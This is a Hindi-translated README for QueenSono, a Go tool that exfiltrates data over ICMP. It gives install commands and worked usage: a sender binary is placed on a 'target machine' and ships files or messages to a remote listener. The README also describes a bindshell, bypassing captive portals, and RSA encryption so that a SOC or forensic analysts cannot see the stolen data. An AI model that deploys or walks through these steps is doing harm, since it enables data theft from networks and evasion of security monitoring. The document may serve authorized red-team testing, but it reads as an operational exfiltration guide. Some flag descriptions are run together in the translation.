
ICMP प्रोटोकॉल के साथ डेटा एक्सफिल्ट्रेशन के लिए गोलांग बाइनरी (+ ICMP bindshell, ICMP के ऊपर HTTP टनलिंग, ...)
QueenSono उपकरण केवल इस तथ्य पर निर्भर करता है कि ICMP प्रोटोकॉल की निगरानी नहीं की जाती है। यह काफी सामान्य है। इसका उपयोग बुनियादी ICMP निरीक्षण (जैसे आवृत्ति और सामग्री लंबाई पर नज़र रखने वाला) वाले सिस्टम में भी किया जा सकता है या captive portal के साथ प्रमाणीकरण चरण को बायपास करने के लिए (कई सार्वजनिक वाई-फाई द्वारा उपयोग किया जाता है जैसे हवाई अड्डे का वाई-फाई, उपयोगकर्ताओं को वाई-फाई से जुड़ने के बाद प्रमाणित करने के लिए)। इस विचार के साथ PyExfil (और अन्य) की नकल करने का प्रयास करें कि लक्ष्य मशीन पर पायथन स्थापित होना आवश्यक नहीं है (इसलिए बाइनरी प्रदान करना उपयोगी हो सकता है)
इसे स्थापित करें
·
इसका उपयोग करें
·
नोट्स
·
सुविधा का अनुरोध करें
·
🎁
curl के साथ> रिलीज़ से
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qsreceiver
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qssender
go के साथ> go install के माध्यम से
सुनिश्चित करें कि $GOPATH आपके $PATH में पहले से है
qssender स्थापित करें
go install github.com/ariary/QueenSono/cmd/client@latest
mv $GOPATH/bin/client $GOPATH/bin/qssender #rename binary
qsreceiver स्थापित करें
go install github.com/ariary/QueenSono/cmd/server@latest
mv $GOPATH/bin/server $GOPATH/bin/qsreceiver #rename binary
> स्रोत से बाइनरी स्थापित करें
रिपॉजिटरी को क्लोन करें और निर्भरताओं को स्थानीय रूप से डाउनलोड करें:
git clone https://github.com/ariary/QueenSono.git
cd QueenSono
make before.build
ICMP पैकेट भेजने वाले qssender को बनाने के लिए :
build.queensono-sender
ICMP पैकेट प्राप्त करने वाले qsreceiver को बनाने के लिए :
build.queensono-receiver
qssender वह बाइनरी है जो श्रोता को ICMP पैकेट भेजेगी, इसलिए यह वह बाइनरी है जिसे आपको अपनी लक्ष्य मशीन पर स्थानांतरित करना होगा।
qsreceiver आपकी स्थानीय मशीन (या जहाँ भी आप ICMP पैकेट प्राप्त कर सकते हैं) पर श्रोता है।
बाइनरी के सभी कमांड और फ़्लैग --help का उपयोग करके पाए जा सकते हैं।
> इस उदाहरण में हम एक बड़ी फ़ाइल भेजना चाहते हैं और पैकेटों की प्राप्ति की पुष्टि करने के लिए echo reply की प्रतीक्षा करते हैं (ACK)।

स्थानीय मशीन पर:
$ qsreceiver receive -l 0.0.0.0 -p -f received_bible.txt
-l 0.0.0.0 ICMP पैकेट के लिए सभी इंटरफ़ेस पर सुनें
-f received_bible.txt प्राप्त डेटा को एक फ़ाइल में सहेजें
-p प्राप्त डेटा की प्रगति पट्टी दिखाएँ लक्ष्य मशीन पर:
$ wget https://raw.githubusercontent.com/mxw/grmr/master/src/finaltests/bible.txt #download a huge file (for the example)
$ qssender send file -d 2 -l 0.0.0.0 -r 10.0.0.92 -s 50000 bible.txt
send file फ़ाइल भेजने के लिए (bible.txt संबंधित फ़ाइल है)
-d 2 प्रत्येक 2 सेकंड में एक पैकेट भेजें
-l 0.0.0.0 echo reply के लिए सुनने का पता -r 10.0.0.92 मेरी दूरस्थ मशीन का पता जहाँ qsreceiver सुन रहा है-s 50000 प्रत्येक पैकेट में भेजने के लिए डेटा का आकार> इस उदाहरण में हम echo reply की प्रतीक्षा किए बिना एक संदेश भेजना चाहते हैं (यह उस स्थिति में उपयोगी हो सकता है जब लक्ष्य फ़ायरवॉल आने वाले ICMP पैकेट को फ़िल्टर करता है)

स्थानीय मशीन पर:
$ qsreceiver receive truncated 1 -l 0.0.0.0
receive truncated 1 यदि हमें सभी पैकेट प्राप्त नहीं होते हैं तो अनिश्चित काल तक प्रतीक्षा नहीं करता है। (1 वह विलंब है जिसका उपयोग qssender के साथ किया जाता है)echo 1 | dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all
लक्ष्य मशीन पर:
$ qssender send "thisisatest i want to send a string w/o waiting for the echo reply" -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 1 -N
-N noreply विकल्प (echo reply की प्रतीक्षा न करें)
> इस उदाहरण में हम एक एन्क्रिप्टेड संदेश भेजना चाहते हैं। चूंकि कमांड लाइन की जासूसी हो सकती है, हम असममित एन्क्रिप्शन का उपयोग करते हैं (यदि कुंजी लीक हो जाती है, तो यह कोई समस्या नहीं है)

स्थानीय मशीन पर:
$ qsreceiver receive -l 0.0.0.0 --encrypt
<OUTPUT PUBLIC KEY>
--encrypt एन्क्रिप्शन एक्सचेंज का उपयोग करें। यह सार्वजनिक/निजी कुंजी उत्पन्न करेगा। सार्वजनिक कुंजी का उपयोग qssender द्वारा डेटा को एन्क्रिप्ट करने के लिए किया जाएगा, निजी कुंजी का उपयोग receiver द्वारा डिक्रिप्ट करने के लिए किया जाता है।
लक्ष्य मशीन पर:
$ export MSG="<your message>"
$ export KEY="<public_key_from_qsreceiver_output>"
$ qssender send $MSG -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 5 --key $KEY
--key डेटा एन्क्रिप्शन के लिए कुंजी प्रदान करें। qsreceiver कमांड द्वारा प्रदान की गई कुंजी का उपयोग करें।
RSA एन्क्रिप्शन का उपयोग आदान-प्रदान किए गए डेटा को गोपनीय रखने के लिए किया जाता है। यह उदाहरण के लिए एक SoC को यह देखने से बचने के लिए उपयोगी हो सकता है कि क्या डेटा आदान-प्रदान किया जा रहा है (या फोरेंसिक) बुनियादी विश्लेषण के साथ या केवल गोपनीयता के लिए।
लेकिन इसकी एक कीमत है। असममित एन्क्रिप्शन का चुनाव इस तथ्य से प्रेरित है कि एन्क्रिप्शन कुंजी कमांड लाइन पर दर्ज की जाती है (इसलिए इसे आसानी से पुनर्प्राप्त किया जा सकता है)। इसलिए, हम सार्वजनिक कुंजी से डेटा को एन्क्रिप्ट करते हैं। इस प्रकार यदि कोई एन्क्रिप्शन कुंजी प्राप्त कर लेता है, तो संदेश को डिक्रिप्ट करना संभव नहीं होगा। लेकिन सार्वजनिक कुंजी निजी कुंजी से छोटी होती है, इसलिए यह छोटे संदेशों को एन्क्रिप्ट करती है। साथ ही, यह कम्प्यूटेशनल रूप से महंगा है।
एक और बिंदु, चूंकि हम डेटा आकार/पिंग अनुरोधों को सीमित करना चाहते हैं (पता लगाने, बग आदि से बचने के लिए), एन्क्रिप्शन का उपयोग केवल आवश्यक होने पर करें क्योंकि संदेश आउटपुट-आकार हमेशा मॉड्यूलस के आकार के बराबर होगा (चाहिए) (कुंजी का हिस्सा) जो बड़ा है।
वर्तमान में, पूरे संदेश को एन्क्रिप्ट किया जाता है और फिर भेजने के लिए टुकड़ों में विभाजित किया जाता है। दूसरी तरफ हम सभी पैकेट (टुकड़ों) की प्रतीक्षा करते हैं, अपने संदेश का पुनर्निर्माण करते हैं और फिर इसे डिक्रिप्ट करते हैं। लेकिन यह तभी काम करता है ⇔ जब हमें सभी टुकड़े प्राप्त हो गए हों, अन्यथा डिक्रिप्शन विफल हो जाएगा।
=> हम प्रत्येक टुकड़े को -s पैरामीटर के अनुसार एन्क्रिप्ट कर सकते हैं, इस प्रकार हम उन्हें अलग-अलग डिक्रिप्ट कर सकते हैं।